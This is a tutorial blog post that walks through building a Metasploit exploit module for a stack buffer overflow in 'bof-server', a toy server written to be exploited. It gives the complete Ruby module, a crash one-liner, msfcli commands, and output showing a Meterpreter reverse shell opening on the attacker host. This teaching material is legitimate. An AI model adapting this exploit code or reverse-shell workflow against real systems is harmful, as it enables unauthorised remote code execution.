This article is about writing exploit using the Metasploit Framework, for very secure software: bof-server ;)
Bof-server has been written especially to be exploited during this article, and as you already guessed by looking at it's name, we will exploit a stack overflow bug. You can find bof-server here:
Before starting I would like to say that I am not a Metasploit expert, so feel free to correct me if something is not done the right way.
Bof-server
First of all, lets see how bof-server works. To start it on port 4242 use the command below:
> bof-server.exe 4242
The bof-server implements 2 commands : version and quit. Here is a typical usage of this highly critical application :) :
> telnet localhost 4242
> version
bof-server v0.01
> quit
Bof-server's bug
Our bof-server permits remote code execution due to a stack based buffer overflow introduced by the getl(int fd, char *s) function.
If you need more informations regarding stack based overflows you can read this famous article from Aleph1 Smashing the stack for fun and profit .
By passing long lines to bof-server, we will crash it :
> perl -e "print 'A'x1024" | nc localhost 4242
> telnet localhost 4242
Connecting To localhost...Could not open connection to the host, on port 4242: Connect failed
Exploitation using Metasploit
Now comes the interesting things ... :)
To make a metasploit exploit module, the easiest way to start is to create myexploit.rb in the modules/exploits/os/type/ metasploit subdirectory.
In our case, we will create modules/exploits/windows/dummy/bof-server.rb containing this code:
require 'msf/core'
module Msf
# class name should reflect directories
class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
include Exploit::Remote::Tcp
# exploit relative informations
def initialize(info = {})
super(update_info(info,
'Name' => 'bof-server exploit',
'Description' => 'This is an exploit for bof-server v0.01',
'Author' => 'xipe', # You ;)
'Version' => '1.0',
'Payload' =>
{
'Space' => 1024, # Space that payload can use.
# We don't know yet
'BadChars' => "\x00", # Chars that payloads should not
# contains. We don't know yet
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English',
{
'Platform' =>'win',
'Ret' => 0xaaaaaaaa # Return address. We don't know yet
}
],
],
'DefaultTarget' => 0))
end
def check
# Here we should check if the target is vulnerable
# This function should not crash the target
end
def exploit
# Here we should exploit the target
end
end
end
Now it's time to get missing informations, we already know that sending 1024 bytes of data makes our server crash.
Metasploit gives a very cool tool which permits you to know how many bytes need to be sent to fill the remote buffer and crash the target. This tool is composed of 2 scripts: pattern_create.rb and pattern_offset.rb.
We will not use pattern_create.rb, but the pattern_create() function in your exploit script instead.
Here is your new exploit function of our script:
def exploit
# Here we should exploit the target
connect
buf = pattern_create(1024)
sock.put(buf)
sock.get
disconnect
end
We can now fire-up our preferred debugger, attach the bof-server process, and start our exploit using msf_cli.
> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/bind_tcp RPORT=4242 RHOST=127.0.0.1 E
The bof-server should have crashed. Giving the crashing EIP address to pattern_offset.rb will return us how many bytes are needed to reach the saved return value.
> pattern_offset.rb 72413372
520
As you can see pattern_offest.rb returned 520, so 520 bytes + 4 are necessary to make the target crash.
Looking at the stack we should also be able to find the start address of the overflowed buffer (Here I got 0x22fb65).
We now have quite all the informations we needed for our exploit. The only things remaining are the BadChars.
BadChars are characters that should not be sent to the target, because the target modifies them, or behaves differently when finding them.
Again, in our debugger, by looking at the assembly code (around 0x4146D) we found that the target is doing something special with the 0x0A, 0x0D and 0x20 characters.
Using all this informations we are now able to put them in our exploit script.
Our exploit script looks like this:
require 'msf/core'
module Msf
# class name should reflect directories
class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
include Exploit::Remote::Tcp
# exploit relative informations
def initialize(info = {})
super(update_info(info,
'Name' => 'bof-server exploit',
'Description' => 'This is an exploit for bof-server v0.01',
'Author' => 'xipe', # You ;)
'Version' => '1.0',
'Payload' =>
{
'Space' => 500, # Space that payload can use.
# We found that we needed 520 bytes to make the
# bof-server crash, but we will only use 500, as
# the end of this space can be modified by the target
# before returning.
'StackAdjustment' => -3500, # Modify stack pointer at shellcode start
# so it can use the stack without writing
# on itself.
'BadChars' => "\x00\x20\x0D\x0A", # Chars that payloads should not
# contains.
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English',
{
'Platform' =>'win',
'Ret' => 0x22fb65 # Return address.
}
],
],
'DefaultTarget' => 0))
end
def check
# Here we should check if the target is vulnerable
# This function should not crash the target
connect
buf = "version\n"
sock.put(buf)
res = sock.get
disconnect
if res =~ /bof-server v0.01/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
# Here we should exploit the target
connect
buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos.
buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long
buf << [target.ret].pack('V') # Return address
sock.put(buf) # send data
sock.get
handler # pass the connection to the payload handler
disconnect
end
end
end
The only remaing thing is to test our exploit and to have fun :
> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/reverse_tcp RPORT=4242 RHOST=172.20.0.2 LHOST=172.20.0.1 E
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.20.0.1:4444 -> 172.20.0.2:1109)
meterpreter > ls
Listing: Z:\work\test\exploit\metasploit
========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Thu Jan 01 01:00:00 +0100 1970 .
40777/rwxrwxrwx 0 dir Thu Jan 01 01:00:00 +0100 1970 ..
100666/rw-rw-rw- 3001 fil Thu Jan 01 01:00:00 +0100 1970 .gdbtkinit
100666/rw-rw-rw- 26814 fil Thu Jan 01 01:00:00 +0100 1970 bof-server
100666/rw-rw-rw- 3200 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.c
100666/rw-rw-rw- 3211 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.c~
100777/rwxrwxrwx 26665 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.exe
100666/rw-rw-rw- 2880 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.o
meterpreter >
I hope you had as much fun as I had while writing this article, and I would like to thanks all the Metasploit team for giving us a such cool framework !
Comments !